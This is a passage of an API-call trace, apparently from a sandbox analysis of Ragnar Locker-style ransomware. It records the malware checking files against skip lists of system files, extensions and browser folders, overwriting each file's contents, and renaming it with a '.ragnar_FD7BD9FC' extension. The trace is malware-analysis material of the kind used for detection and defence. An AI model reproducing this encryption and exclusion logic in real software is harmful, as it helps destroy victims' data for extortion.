lstrcmpiW (lpString1="STUDIO.ELM", lpString2="ntuser.dat.log") returned 1 [0077.118] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="ntuser.ini") returned 1 [0077.118] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="thumbs.db") returned -1 [0077.118] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0077.118] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0077.118] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0077.118] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0077.118] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0077.118] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0077.118] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0077.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm")) returned 0x20 [0077.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0077.119] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=49133) returned 1 [0077.119] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xbfe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.119] GetProcessHeap () returned 0x580000 [0077.119] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.119] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.123] VirtualAlloc (lpAddress=0x0, dwSize=0xbfed, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.126] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.126] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.126] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbfed, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xbfed, lpOverlapped=0x0) returned 1 [0077.136] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.137] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbfed, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.137] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbfed, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xbfed, lpOverlapped=0x0) returned 1 [0077.137] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbfed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.137] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.137] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xbfed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.137] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.137] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.138] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.138] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.138] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.138] GetProcessHeap () returned 0x580000 [0077.138] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.138] CloseHandle (hObject=0x10c) returned 1 [0077.138] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" [0077.138] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.ragnar_FD7BD9FC" [0077.138] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.139] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0077.139] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0077.139] lstrcpyW (in: lpString1=0x1eab6e, lpString2="STUDIO.INF" | out: lpString1="STUDIO.INF") returned="STUDIO.INF" [0077.139] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned=".INF" [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="autorun.inf") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="boot.ini") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="bootfont.bin") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="bootsect.bak") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="bootmgr") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="bootmgr.efi") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="bootmgfw.efi") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="desktop.ini") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="iconcache.db") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="ntldr") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="ntuser.dat") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="ntuser.dat.log") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="ntuser.ini") returned 1 [0077.139] lstrcmpiW (lpString1="STUDIO.INF", lpString2="thumbs.db") returned -1 [0077.139] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0077.139] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0077.139] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0077.139] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0077.139] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0077.139] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0077.139] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0077.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf")) returned 0x20 [0077.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0077.141] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=578) returned 1 [0077.141] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x239, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.141] GetProcessHeap () returned 0x580000 [0077.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.141] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.142] VirtualAlloc (lpAddress=0x0, dwSize=0x242, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.142] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.142] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.142] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x242, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x242, lpOverlapped=0x0) returned 1 [0077.142] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.142] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x242, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.142] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x242, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x242, lpOverlapped=0x0) returned 1 [0077.143] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x242, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.143] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.143] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x242, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.143] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.143] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.143] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.143] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.143] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.143] GetProcessHeap () returned 0x580000 [0077.143] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.143] CloseHandle (hObject=0x10c) returned 1 [0077.143] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" [0077.143] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.ragnar_FD7BD9FC" [0077.143] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.144] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0077.144] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0077.144] lstrcpyW (in: lpString1=0x1eab6e, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0077.144] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned=".PNG" [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0077.144] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0077.144] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0077.144] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0077.145] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0077.145] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0077.145] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0077.145] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0077.145] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0077.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0077.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0077.145] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=18380) returned 1 [0077.145] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x47c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.145] GetProcessHeap () returned 0x580000 [0077.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.145] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.155] VirtualAlloc (lpAddress=0x0, dwSize=0x47cc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.155] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.155] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.155] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x47cc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x47cc, lpOverlapped=0x0) returned 1 [0077.159] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.160] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x47cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.160] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x47cc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x47cc, lpOverlapped=0x0) returned 1 [0077.160] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x47cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.160] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.160] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x47cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.160] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.160] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.160] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.161] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.161] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.161] GetProcessHeap () returned 0x580000 [0077.161] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.161] CloseHandle (hObject=0x10c) returned 1 [0077.161] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" [0077.161] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0077.161] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.161] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0077.161] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.162] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2=".") returned 1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="..") returned 1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="Windows") returned -1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="Windows.old") returned -1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="Tor browser") returned -1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="Internet Explorer") returned 1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="Google") returned 1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="Opera") returned 1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="Opera Software") returned 1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="Mozilla") returned 1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="Mozilla Firefox") returned 1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="$Recycle.Bin") returned 1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="ProgramData") returned 1 [0077.162] lstrcmpiW (lpString1="SUMIPNTG", lpString2="All Users") returned 1 [0077.162] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.162] lstrcpyW (in: lpString1=0x1eb638, lpString2="SUMIPNTG" | out: 